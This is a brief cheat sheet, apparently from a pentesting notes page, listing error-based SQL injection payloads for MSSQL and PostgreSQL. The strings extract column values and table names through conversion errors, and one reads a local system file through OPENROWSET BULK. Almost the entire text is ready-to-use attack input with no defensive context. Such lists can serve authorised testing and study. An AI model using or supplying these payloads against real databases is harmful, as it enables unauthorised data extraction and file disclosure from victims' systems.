ERROR#

MSSQL#

1' AND 1=(SELECT CONCAT_WS(0x3a,column1,column2) FROM TABLE)-- -
1' AND 1=(SELECT column1 FROM TABLE)-- -

Read file

1' AND 1=(SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents)-- -

Postgressql#

1' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) as INT)-- -